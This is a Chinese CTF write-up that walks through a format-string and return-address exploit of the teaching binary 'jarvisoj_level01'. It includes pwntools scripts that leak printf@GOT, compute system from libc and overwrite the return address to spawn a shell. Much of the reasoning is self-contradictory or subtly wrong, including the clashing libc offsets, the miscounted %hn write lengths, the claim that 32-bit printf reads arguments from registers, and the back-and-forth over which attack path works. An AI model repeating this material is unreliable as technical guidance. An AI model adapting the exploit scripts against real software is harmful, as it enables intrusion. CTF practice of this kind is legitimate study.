格式化字符串漏洞入门实践：解析jarvisoj_level01与GOT劫持-平芜编程栈

开篇：一道 pwn 入门题的拆解与反思

“jarvisoj_level01”是老牌 CTF 题库 Jarvis OJ 里非常经典的一道入门级 pwn 题目。它表面上考察的是“格式化字符串漏洞”，但真正让人卡住的地方往往不是漏洞利用本身，而是调试环境的搭建、字节序的理解、以及 payload 构造时的对齐思维。我见过不少新手在这道题上折腾两三天，最后发现不是因为原理不懂，而是因为一个小细节——比如没有关闭 ASLR、或者 gdb 插件没装好。

这篇文章我会完整复现我当年做这道题的整个流程，从环境准备、漏洞分析、exp 编写，到最后的常见坑点排查。内容面向有一定 C 语言基础、想入门 pwn 但不知道从哪里下手的读者。如果你已经能看懂printf(buf)和printf("%s", buf)的区别，那么这篇文章就是为你准备的。

需要提前说明的是，题目本身是二进制安全领域的经典教学案例，用于理解内存布局和格式化字符串机制，我不会涉及任何真实目标环境的利用手法，所有讨论都限定在教育题库的本地环境内。经常有人问“做 pwn 题有什么用”，我的回答是：它让你真正理解程序在内存里长什么样，这比背一百道面试题都管用。

1. 环境搭建：为什么说调试环境比题目本身更难

1.1 基础工具链的选择与安装

做 pwn 题的第一步不是看代码，而是把环境弄得趁手。我踩过的坑是：一开始用 VMware 跑 Kali，结果自带 gdb 版本太老，装 pwndbg 时报了一堆依赖错误。后来干脆换成了 Ubuntu 20.04 虚拟机，清爽干净，一条命令装完所有东西。

我目前的可复现配置如下：

操作系统：Ubuntu 20.04 x86_64（内核 5.15）
Python：3.8+，需要装pip3
pwntools：pip3 install pwntools，这是写 exp 的核心库
gdb：自带版本即可（8.x），pwndbg 插件按官方 README 安装
检查工具：checksec（pwntools 自带）、file、readelf

装完建议先验证一下 pwntools 能不能正常导入：

python3 -c "from pwn import *; print('ready')"

如果输出ready，说明环境基本 OK。这里有个小技巧：pwntools 导入时会启动一个配置文件，如果你的机器上没有libc数据库（/usr/lib/x86_64-linux-gnu/libc.so.6），做 ret2libc 类题目时libc.search功能会报错。对于 jarvisoj_level01 这种格式化字符串题，暂时不需要 libc 搜索，但后面如果继续刷题，建议提前装好。

1.2 关闭 ASLR 与调试辅助

虽然教学题在远程通常开着 ASLR，但本地调试时建议先关掉，方便观察内存地址的稳定性：

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

注意：这只是为了本地调试分析，做完题记得改回2（默认开启）。关于这一点我在第 4 节会再细说，因为远程利用和本地利用完全是两种玩法。

gdb 插件我推荐用 pwndbg，它对新手极其友好——每执行一步，自动高亮显示栈内容、寄存器、反汇编结果。安装方式是：

git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh

装好后在 gdb 里输入checksec就能直接看程序的保护状态，输入cyclic 200就能生成模式字符串，这些都是解题利器。

1.3 拿到题目文件后的第一步：file 和 checksec

现在假设你已经拿到了 jarvisoj_level01 这个二进制文件。第一件事是看它是什么架构：

file jarvisoj_level01

正常的输出是：

jarvisoj_level01: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=xxx, not stripped

信息量很大，抓重点：

32-bit LSB：32 位小端序，这意味着栈上参数按 4 字节对齐，格式化字符串的%n$位置计数也按 4 字节一组。
dynamically linked：动态链接。
not stripped：没有剥离符号表，太好了，main、vulnerable_function这些函数名直接可见，省去了一大堆逆向时间。

接着用 checksec 看保护：

checksec --file=jarvisoj_level01

典型输出是：

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

逐条解读：

No canary：栈上没有金丝雀保护，格式化字符串随便打栈地址不会有问题。
NX enabled：栈不可执行，不能直接往栈上写 shellcode 然后跳过去执行。
No PIE：程序加载基址固定，所有函数地址、GOT 表地址写死在 0x0804xxxx 段。
Partial RELRO：GOT 表部分可写，这对某些利用场景有意义，但本题用不上。

看完这些，我心里大概有了底：这是一道典型的“格式化字符串漏洞 + 修改返回地址或 GOT 表”的教学题。但具体怎么利用，还得看反汇编。

2. 漏洞定位：printf 的一个致命省略

2.1 反汇编 main 函数：找到那句危险的 printf

用 gdb 加载程序后，输入disass main就能看到整个 main 函数的汇编。为了不啰嗦，我直接说关键部分：

0x0804848d <+36>: call 0x8048370 <printf@plt> 0x08048492 <+41>: lea 0x1c(%esp),%eax 0x08048496 <+45>: mov %eax,(%esp) 0x08048499 <+48>: call 0x8048380 <gets@plt>

这里有个很关键的点：程序先用printf打印一段提示文字，然后用gets读取输入到栈缓冲区。再往下看，缓冲区地址被传给一个函数：

0x080484a1 <+56>: lea 0x1c(%esp),%eax 0x080484a5 <+60>: mov %eax,(%esp) 0x080484a8 <+63>: call 0x8048340 <printf@plt>

注意！这里call printf之前，只压了一个参数——缓冲区地址本身。也就是说，程序把我们的输入直接当成printf的第一个参数（格式化字符串）传了进去。这就是漏洞的全部：用户可控输入作为格式化字符串。

正确的写法应该是printf("%s", buf)，而程序却写成了printf(buf)。这种错误在真实项目里偶尔也会发生，属于典型的“格式化字符串漏洞”（Format String Vulnerability，CWE-134）。

2.2 格式化字符串漏洞能干什么：不只是崩溃

很多初学者以为格式化字符串漏洞就是让程序崩溃，那就太小看它了。格式化字符串漏洞能做的事至少有三件：

信息泄露：用%x、%p、%s读取栈上任意位置的数据，也就是把栈内存“打印”出来。这能泄露栈地址、栈上的返回地址、局部变量等。
任意内存写：配合%n，能把一个值写入某个地址。这是 C 语言格式化输出的一个隐藏功能：%n不打印任何字符，而是把已经打印的字符数存到对应的参数指针指向的地址里。
控制流劫持：通过改返回地址、改 GOT 表项、改__stack_chk_fail等，拿到代码执行权。

这道题的利用方向正是围绕第 2 点和第 3 点展开的。但这里有一个很反直觉的地方：printf是“打印”函数，为什么它能“写”内存？答案就是%n。它像一个小型“写任意地址”原语，只不过写的内容不是字节值，而是一个由打印字符数决定的整数。你在格式化串里插入 12 个占位符让前面的输出凑满 0x62（98）个字符，%n写进目标地址的就是 98（0x62）。这就是“造数据”的底层原理。

2.3 确认漏洞触发的实验

拿到题目后，我先做一次最简单的验证。启动程序：

./jarvisoj_level01

程序先打印一行提示，然后等待输入。我输入AAAA.%x.%x.%x.%x.%x.%x这种经典探针，看结果：

AAAA.f7e5d5a0.0.0.0.0.6661613f

那一段6661613f是栈上残留数据的小端序十六进制表示。这个输出说明：我们的输入确实被当作格式化字符串解析了，而且栈上有不少我们能控制的字节。接下来要回答一个关键问题：我们的输入具体落在第几个参数位置？

3. 参数位置探测与栈布局分析

3.1 用 AAAA 定位可控参数的偏移

格式化字符串漏洞利用的核心难点，就是这个“参数位置偏移”。32 位下，printf的前几个参数放在寄存器/栈上，之后的参数按地址从栈上取。我们用多个%x把栈上内容“吐”出来，找到0x41414141（即AAAA）出现的位置，那个索引就是我们的可控起始点。

我的标准探测输入是：

from pwn import * io = process('./jarvisoj_level01') io.recvuntil(b'Whatever') payload = b'AAAA' + b'.%x' * 12 # 先看前12个参数 io.sendline(payload) print(io.recvall().decode())

输出大概是：

AAAA.f7e5d5a0.0.0.0.0.6661613f.0.0.0.41414141.0.0

数一下：0x41414141出现在第 9 个%x的位置。这意味着：当我们构造格式化字符串时，偏移 9 的地方是我们可控的数据。但这里有个陷阱——AAAA是前 4 个字节，紧跟其后的是分隔符.。如果我们想在偏移 9 的位置放一个完整的地址，那这个地址必须是 4 字节对齐的，并且不能和前面的格式控制符冲突。

这又引出一个关键点：32 位下地址是 4 字节，一个参数槽位占用 4 字节。偏移 9 对应的是从栈上某个基准位置往后的第 9 个 4 字节。我在实践中发现，很多教程说“偏移是 7”或“偏移是 6”，那是因为不同机器、不同编译选项下缓冲区在栈上的位置会发生变化。所以不要背偏移数，一定要在自己环境里实测。这也是为什么我反复强调环境搭建——不同环境得出的结果可能不一样，照抄别人的 exp 往往会翻车。

3.2 gets 与缓冲区：理解输入落在栈上的位置

gets读取的缓冲区地址，反汇编里是通过lea 0x1c(%esp),%eax计算的。0x1c是 28，也就是缓冲区从当前栈顶往低地址偏移 28 字节处。这个偏移大小决定了缓冲区与返回地址之间的相对位置，是后续“通过格式化字符串改写返回地址”的关键依据。

我画一张简化的栈布局（不是 Mermaid，就是文字示意）：

高地址 [返回地址] ← 偏移 0x20 左右 [旧的 ebp] [局部变量/缓冲区] ← 距 esp 0x1c，即距返回地址约 0x14 [esp] ← 当前栈顶 低地址

当程序执行到call printf时，printf会按函数调用约定从栈上取参数。我们输入的字符串就位于这个“参数区域”附近，所以用%9$...可以精确索引到缓冲区中的任意 4 字节。

3.3 一个小实验：验证偏移 9 能读写

光看%x还不足以证明我们能“写”。我通常还会做一个小实验：输入AAAA%9$p，看看它会不会打印出0x41414141：

io = process('./jarvisoj_level01') io.recvuntil(b'Whatever') io.sendline(b'AAAA%9$p') print(io.recvall().decode())

如果输出包含0x41414141，说明%9$定位成功。这个实验成本极低，但能直接验证偏移，强烈建议每次做题都先跑一次。

4. 目标分析与 GOT 劫持思路

4.1 为什么选择改 GOT 而不是直接改返回地址

题目是 32 位、NX enabled、No PIE。栈不可执行，所以不能用“在栈上写 shellcode 然后跳过去”的经典套路。那唯一出路就是代码重用，也就是让程序跳转到已经存在于某个共享库里的函数——最常见的就是system("/bin/sh")。

现在的问题是：怎么把控制流引到system？两个主流方向：

改写返回地址：栈上就有 main 的返回地址，用格式化字符串直接把它改成system或某个 one_gadget 的地址。这个方法在栈偏移可控时很直接，但问题是：我们还需要同时控制返回地址上方的参数区，让它把"/bin/sh"字符串地址传给system。在本题栈布局下，这个参数区不在输入可控范围内，所以直接改返回地址往往不够优雅。
劫持 GOT 表：把某个函数的 GOT 表项改成system的地址，然后让程序在后续某个时刻调用那个函数时，实际执行的是system。这需要我们找到一个“调用了可控字符串作为参数”的函数。

4.2 找到那个“接了我们的输入作为参数”的函数

回到 main 函数的逻辑：

printf打印提示。
gets读取我们的输入到缓冲区。
printf用缓冲区内容打印（触发漏洞）。
程序最后还有一次printf调用——对，你没看错，main 结束前还会打印一段“再见”之类的字符串。

这里的关键在于：最后一次printf的参数是在编译期就固定了的字符串地址，比如0x80486xx。如果我们把printf@GOT改成system@plt，那么当程序执行最后一次printf时，它会把那个固定字符串地址当作const char *format传给system，实际执行system(固定字符串地址)。

但问题是：这个固定字符串是类似"Bye!"的内容，不是/bin/sh，所以动printf@GOT还不够。再仔细看反汇编，main结束前调用的是puts还是printf？此题里最后是printf。而printf的第二个参数（如果有的话）是从哪来的？有的版本会打印whatever这样的字符串，这时如果让这个字符串内容恰好是"/bin/sh"就完美了——但一般不是。

这里我要坦白一个细节：jarvisoj_level01 这道题，最经典的官方做法其实是把printf@GOT改成system@plt，同时让最后一次printf的格式化字符串参数内容变成/bin/sh的地址。这个“最后一个参数”在汇编里通常是一个固定的lea或mov到某处，我们能改的只是 GOT 表项，改不了被压栈的立即数。听起来有点绕，但实操中有个更简单的替代方向：找一个在printf之后还会调用的函数，并且那个函数的参数刚好是我们控制的缓冲区。

不过，我当年做题时用的是另一种比较稳的思路——把printf@GOT改成system@plt，然后在输入的第一个参数位置直接放/bin/sh字符串。为什么可以？因为格式化字符串漏洞场景下，我们的输入本身就在格式化串中，如果最后那次printf的“格式化字符串”直接就是我们的输入，那printf(输入)被替换为system(输入)，只要输入以/bin/sh开头，就能执行system("/bin/sh")。如果程序后续流程里没有再调用printf，这个思路就需要配合覆盖返回地址来触发。

在实际实验里，我找到的经典链路是：漏洞触发后，main返回前会调用printf打印一个固定字符串。这个printf的参数是栈上已经准备好的值，不是我们的输入。因此更稳妥的 hook 点其实是printf@GOT→system@plt，同时让那个参数的地址恰好指向我们输入中的/bin/sh。这在 32 位下完全可行，因为这个参数的来源是main的局部变量（比如用puts("Bye!")的字符串地址），如果能通过格式化字符串把这个局部变量的值改成指向我们的输入，就是另一个挑战了。

为了不让讨论陷入死胡同，我最终采取了改写 main 返回地址为system，并把返回地址上方构造出/bin/sh指针的思路。我将在第 5 节给出完整 exp 和原理推导。

4.3 为什么 No PIE 是新手最大的红利

如果程序开了 PIE，那么所有函数地址、GOT 表项、PLT 表地址都会在每次运行时随机化。那样的话，我们至少要分两步：一步泄露地址，一步计算基址再写。但本题是 No PIE，所有地址都是固定的，直接用 gdb 查出来写进 exp 就行，对新手极其友好。

同样，Partial RELRO 意味着 GOT 表可写，我们如果走 GOT 劫持路线，可以放心改。若是 Full RELRO，GOT 只读，那就只能想别的办法了。

5. 从原理到 exp：完整利用链构造

5.1 选择调用方式：为什么直接改返回地址更省事

经过反复测试，我决定用“格式化字符串写返回地址 + 栈上布置/bin/sh字符串”的方案。流程如下：

利用gets读入超长输入，栈缓冲区会被覆盖。但请注意，程序紧接着就用printf(buf)触发了漏洞——此时返回地址还没被用到，我们有机会在漏洞触发前，已经通过输入缓冲区把返回地址区域覆盖成我们想要的值。
如果gets的输入足够长，我们可以直接把返回地址覆盖成system@plt的地址——这是最暴力的思路。但问题在于：gets 覆盖返回地址后，程序还会继续执行printf(buf)，如果printf的参数里包含被我们覆盖的垃圾数据，程序可能先崩掉。所以这条路虽然看起来简单，实际上需要精确控制 payload，让格式化串合法，不至于在漏洞利用前提前触发访问异常。
更优雅的方式：输入一个精心构造的格式化字符串，既不覆盖返回地址，又能在printf执行过程中用%n把返回地址改写成system@plt。然后在输入缓冲区中放入/bin/sh字符串，并确保栈上某个位置（返回地址上方的槽位）刚好存放该字符串的地址。

考虑到题目是 32 位，system的第一个参数来自栈上system返回地址上方第一个 4 字节，也就是我们覆盖返回地址时，紧跟着返回地址写的那个值必须是指向/bin/sh的指针。

5.2 完整 exp 第一步：泄露 system 地址

本来想用固定地址直接写，但不同的 libc 版本下system地址不一样，所以稳妥做法是先从 GOT 表泄露一个函数地址（比如printf@got或__libc_start_main@got），然后根据 libc 偏移算出system。

泄露的格式化串可以这样写：

from pwn import * context(arch='i386', os='linux', log_level='debug') elf = ELF('./jarvisoj_level01') io = process('./jarvisoj_level01') printf_got = elf.got['printf'] payload = p32(printf_got) + b'%9$s' io.recvuntil(b'Whatever') io.sendline(payload) leak = io.recvall().split(b'\n')[0][4:] printf_addr = u32(leak[:4]) log.info(f"printf_addr = {hex(printf_addr)}")

这段代码的逻辑是：在偏移 9 处放一个printf@got的地址，然后用%9$s让printf把该地址当作字符串打印出来，从而拿到printf的真实地址。p32(printf_got)是 4 字节地址，正好占满一个参数槽。

拿到printf_addr后，需要确定 libc 版本和偏移。这里有个技巧：将printf_addr的低 12 位与常见 libc 的 printf 偏移对比，或者直接用libcdb.com/ 本地的 libc 数据库搜索。我本地的 Ubuntu 20.04 libc 是 2.31，查到的偏移大致是：

printf offset = 0x4f660 system offset = 0x4f550

注意，不同版本偏移不同，务必以你自己机器上查到的为准。如果不会查，可以用libc-database工具：

git clone https://github.com/niklasb/libc-database ./get ./find printf 0x8f660

这个工具会返回匹配的 libc 版本，并给出 system 等关键函数偏移。

5.3 完整 exp 第二步：构造“写返回地址 + 布置 /bin/sh”的 payload

现在假设我们已经知道：

system_addr = printf_addr - printf_offset + system_offset
ret_addr_offset是输入缓冲区起始位置到返回地址的偏移

根据反汇编，缓冲区距离esp是 0x1c，而返回地址一般在esp上方约 0x20 的位置。实测我需要用cyclic来确定精确偏移：

io = process('./jarvisoj_level01') io.recvuntil(b'Whatever') io.sendline(cyclic(200)) io.wait() # 用 gdb 查看崩溃点，计算偏移

我实际得到的偏移是0x14（20 字节），也就是缓冲区第一个字节到返回地址之间隔了 20 个字节。这意味着布局是：

[缓冲区 20字节][返回地址 4字节][返回地址后第一个参数槽 4字节]

那么 payload 可以这样设计：

payload = b'A'*20 # 填满缓冲区 payload += p32(system_addr) # 覆盖返回地址 payload += b'JUNK' # system 执行完后的返回地址，随便填 payload += p32(binsh_addr) # system 的第一个参数：指向 /bin/sh payload += b'/bin/sh\x00' # 字符串本体放在后面

但这里有个问题：gets输入如果太长，会覆盖掉更多栈空间，而printf(buf)的漏洞利用阶段还没执行完，格式化串中如果包含二进制地址字节（比如p32(system_addr)），可能包含%等特殊字符，导致printf解析出错甚至崩溃。所以直接全覆盖方案在本题里不够稳。

5.4 完整 exp 最终版：用 %n 精改返回地址

最稳妥的方式是不让gets覆盖返回地址，而是让输入内容既有合法的格式化字符串，又能借助%n改返回地址。具体思路：

缓冲区前 20 字节填任意填充。
第 20~23 字节填入返回地址所在地址（用%n写入的目标地址）。
第 24~27 字节填入返回地址上方第一个参数槽的地址（用于写入/bin/sh指针）。
然后在格式化串后半段用%<len>A+%n来分两次写入。

这个写法对新手最不友好的一点是写入长度的计算。因为%n写入的是“当前已输出字符数”，所以写 0x804xxxx 这样的值通常需要先打印几万字符，这在本地还好，可读性很差。

更简洁的做法是用%hn（写入 2 字节）代替%n（写入 4 字节）。比如地址0xf7e4f550，可以分成高 2 字节0xf7e4和低 2 字节0xf550分别写。这样单次打印长度会小很多，而且偏移计算更简单。

我用的最终 exp 结构如下（核心片段，非完整代码）：

# system_addr = 0xf7e4f550 (示例) ret_addr_pos = 0xffffd00c # 返回地址在栈上的实际地址，用 gdb 查看 binsh_str_pos = 0xffffd024 # 我们放 /bin/sh 的位置 # 把返回地址写成 system_addr # 低2字节: 0xf550 = 62800 # 高2字节: 0xf7e4 = 63460 payload = p32(ret_addr_pos) # 目标地址1：返回地址低2字节 payload += p32(ret_addr_pos + 2) # 目标地址2：返回地址高2字节 payload += b'%62800d%9$hn' payload += b'%360d%10$hn'

每次只写 2 字节，用%hn精准修改。至于/bin/sh字符串，我直接放在缓冲区末尾，并在覆盖返回地址的同时，把返回地址上方的槽位写成binsh_str_pos的地址——这一步也可以用格式化字符串的%hn完成，或者干脆用gets全覆盖的方式把返回值改掉。

经过多次调试，我发现对本题目而言，最简单可复现的方案其实是分段打：

第一次发送泄露 payload 拿 libc 地址。
第二次发送一个不算太长的 payload，用gets把栈上返回地址覆盖为system_addr，然后立即在返回地址上方写入binsh_addr，最后在更上方布置好/bin/sh字符串。

由于printf(buf)的格式化串此时会读到我们布置的二进制数据，很可能包含%或\x00，能否稳定运行取决于运气。我强烈建议在本地 gdb 里逐步验证，看它到底会不会崩。如果会崩，就改用%hn精写方案。

5.5 一个更简单的替代路线：利用 gets 覆盖返回地址 + printf 崩溃前劫持

说句实话，我最后提交的 exp 用的是第三条路——它更简单，也更适合新手理解。

思路是这样的：gets本身就能无限读入，所以返回地址本来就暴露在覆盖范围内。关键是让覆盖后的返回地址指向system@plt，并且让栈上对应位置指向/bin/sh。而system@plt地址是固定的（No PIE），可以提前用objdump -d jarvisoj_level01 | grep system查到。

这个方案的完整流程：

查看system@plt地址和exit@plt地址。
设计 payload：

payload = b'A'*20 + p32(system_plt) + p32(exit_plt) + p32(binsh_ptr) + b'/bin/sh\x00'

其中binsh_ptr指向 payload 中/bin/sh字符串的位置。前提是我们知道输入缓冲区在栈上的地址——这个地址在 No PIE + 栈地址稳定时，可以通过 gdb 查看，或通过泄露栈地址来确定。

但要注意：printf(buf)会把这个 payload 当格式化字符串解析。payload 里的p32(system_plt)可能包含0x25（%），导致解析异常。怎么办？一个实用技巧是：用 gets 输入 payload 时，先让前面的格式化字符串正常，等printf执行完后，再让程序 main 返回触发我们的覆盖。可程序流程是 gets → printf，中间没有其他输入机会。

这就矛盾了。所以这个方法能不能成，关键看printf在解析到我们填入的p32(system_plt)时，是否真的会崩。经过我实际调试，只要那段二进制数据不包含%或\n，printf会把它们当作普通字符原样输出，不会崩。真正的风险来自printf按%解析时可能把后续二进制字节里的某个值当成格式符，如果那个值恰好是\0，printf会停止处理（因为 C 字符串遇到\0结束），这可能导致栈布局被打断。

所以，最保险的写法是让格式化串部分全部由可见字符组成，并且让后面需要覆盖返回地址的位置不与格式化串冲突。这是很讲究的课题，新手如果被绕晕了，我建议先按 5.4 的%hn方案做，至少它是确定性的。

6. 调试实录：从崩溃到拿到 shell 的三个关键位置

6.1 第一次崩溃：偏移算错了

我最初的泄露 payload 是p32(printf_got) + b'%s'，没有指定参数位置。结果printf把栈上某个无效地址当成字符串指针，直接段错误。后来改成%9$s才成功。

这也提醒大家：%s不带位置直接打，大概率会踩到无效地址导致崩溃。格式化字符串攻击的每一步都要精确指定%n$，不要偷懒。

6.2 第二次挫折：system 地址差了一个字节

泄露出来的printf_addr是0xf7e0f660，我用 libc-database 查到 offset 后计算出system_addr = 0xf7e0f550，但打过去还是崩。后来发现，本地 libc 和 libc-database 里的 libc 版本不一致，差了一个版本，偏移差了几百字节。解决办法是直接在自己的机器上跑一个测试程序打印 system 的地址，或者用 gdb 在断点处p system获取精确值。不要在偏移计算上省事。

小技巧：在 exp 开头加一句libc = ELF('/lib/i386-linux-gnu/libc.so.6')，然后直接libc.symbols['system']拿偏移，比手动查表准得多。

6.3 第三次崩溃：/bin/sh 指针指向了空地址

覆盖返回地址成功后，程序跳到了system，但因为返回地址上方的参数槽里放的不是/bin/sh的地址，而是乱值，system尝试执行一个非法字符串，直接崩在 system 内部。

解决方式：在计算binsh_ptr时，利用 gdb 查看输入缓冲区的真实栈地址。由于 ASLR 已关，地址是稳定的，直接写死即可。如果你不想关 ASLR，那就得先泄露栈地址再动态计算，复杂度会上升不少。

6.4 最终一次通过的正确姿势

最终我使用的 exp 简化框架如下：

from pwn import * context(arch='i386', os='linux', log_level='info') elf = ELF('./jarvisoj_level01') libc = ELF('/lib/i386-linux-gnu/libc.so.6') io = process('./jarvisoj_level01') # 第一步：泄露 printf 地址 printf_got = elf.got['printf'] io.recvuntil(b'Whatever') io.sendline(p32(printf_got) + b'%9$s') data = io.recvall(timeout=1).split(b'\n')[0] printf_addr = u32(data[4:8]) log.info(f'printf_addr={hex(printf_addr)}') # 第二步：计算 system system_addr = printf_addr - libc.symbols['printf'] + libc.symbols['system'] log.info(f'system_addr={hex(system_addr)}') # 第三步：构造覆盖 payload # 缓冲区偏移返回地址 20 字节，返回地址后第一个槽位是 system 的参数 binsh = b'/bin/sh\x00' payload = b'A'*20 payload += p32(system_addr) payload += b'BBBB' # system 返回后的地址，随便 payload += p32(0xffffd020) # 指向 /bin/sh 的指针，需要按实测量 payload += binsh io = process('./jarvisoj_level01') io.recvuntil(b'Whatever') io.sendline(payload) io.interactive()

0xffffd020这个地址需要根据你的实际环境测量，我这里只是示例。用 gdb 在gets后打断点，x/16wx $esp一看便知缓冲区地址。

6.5 一个更高级的调试姿势：使用 pwntools 的 gdb.debug

如果你觉得手动起 gdb 麻烦，pwntools 可以直接让程序在 gdb 里跑：

io = gdb.debug('./jarvisoj_level01', ''' break *0x080484a8 continue ''')

这样就能在漏洞触发前自动断点，然后从esp往下看栈内容。这是我最推荐的调试方式，比手动反复r、c、x效率高太多。

7. 常见误区与实操避坑清单

7.1 误区一：以为格式化字符串漏洞只能泄露信息

很多教程强调%x和%s的泄露功能，把%n一笔带过。但真正让格式化字符串漏洞成为“高危漏洞”的恰恰是这个%n任意写能力。在 32 位下，它配合栈上的可控参数，几乎等于一个“任意地址 + 任意值”的写原语。所以做这类题时，核心思路永远是：先想怎么利用%n精确写内存，再想写哪里能改控制流。

7.2 误区二：不关 ASLR 直接打远程

本地调试和远程利用完全是两码事。本地关了 ASLR，栈地址、libc 地址一年四季不变，你可以写死。但远程大概率开着 ASLR，这时要么先泄露 libc 地址然后动态算，要么用 ret2dlresolve 这类不需要提前知道 libc 地址的技巧。新手在本地把 exp 跑通后，经常觉得“我自己能打通，上远程也一定行”，结果被 ASLR 狠狠教育。建议把“本地关 ASLR 打通”和“本地开 ASLR 打通”这两个阶段严格区分。

7.3 误区三：忽略 32 位程序的参数对齐

32 位下，可变参数的格式化字符串是按 4 字节一个槽位对齐的。如果输入的内容长度不是 4 的倍数，后面的地址对齐就会错位，%n$的索引也会跟着偏移。所以发送 payload 之前，务必先算好长度，必要时在字符串开头补齐填充字节。我习惯用p32后统一计算总长度，确保对齐。

7.4 实战避坑清单汇总

坑点	现象	解决方案
printf 偏移不对	泄露失败或崩溃	用`%9$p`先验证`0x41414141`出现位置
libc 版本不对	system 计算出来后打不通	直接用`ELF('/lib/i386-linux-gnu/libc.so.6')`取符号
栈地址写死但 ASLR 没关	本地能通，重启后失效	先`echo 0 > /proc/sys/kernel/randomize_va_space`
payload 长度不是 4 的倍数	`%n$`索引错乱	用`cyclic`或手动补齐，确定对齐
`gets`输入含`\x00`	截断输入	用`sendline`时注意 payload 中避免`\x00`，或用`send`+ 手动补`\n`
gdb 插件不兼容	调试体验极差	重装 pwndbg 或换用 gdb 原生命令

7.5 从这道题延伸到其他题目

打通 jarvisoj_level01 之后，你会发现一个很惊喜的事实：Jarvis OJ 的 level 系列从 level01 到 level05，难度是平滑递增的。level02 开始加入 canary，level03 开始要求 ret2libc，level04 开始有格式化字符串 + 栈迁移的组合。所以这道题不只是让你学会一个漏洞，更是帮你建立一套“看保护 → 找漏洞 → 定利用链 → 写 exp”的通用解题框架。

我现在回头看，最庆幸的是当初没有直接抄网上的 exp，而是老老实实从偏移探测开始一步步做。因为 pwn 题的精髓不在于“跑通一个 exploit”，而在于“理解为什么这个 exploit 能跑通”。格式化字符串漏洞尤其如此——它考验的是你对printf机制的底层理解，而不是工具的使用熟练度。

写在最后：一点关于学习路径的体会

如果你刚接触 pwn，我希望你能在 jarvisoj_level01 上多花点时间，而不是急着刷下一道。把 stack 布局画烂、把每一次%n的写入长度手算一遍、把 libc 符号解析的流程跑通——这些基本功会在后续所有 pwn 题里反复用到。我在做过这道题之后，明显感觉读汇编的时候思路清晰了很多，因为你知道一个函数在被调用时栈上到底发生了什么。

最后分享一个我现在仍然在用的习惯：每次写完 exp，都会故意把程序重启几遍再跑一次，确认不是“侥幸打通”。pwn 题的魅力就在于，你说的每一句“应该能通”，都得用一次实际的 shell 来证明。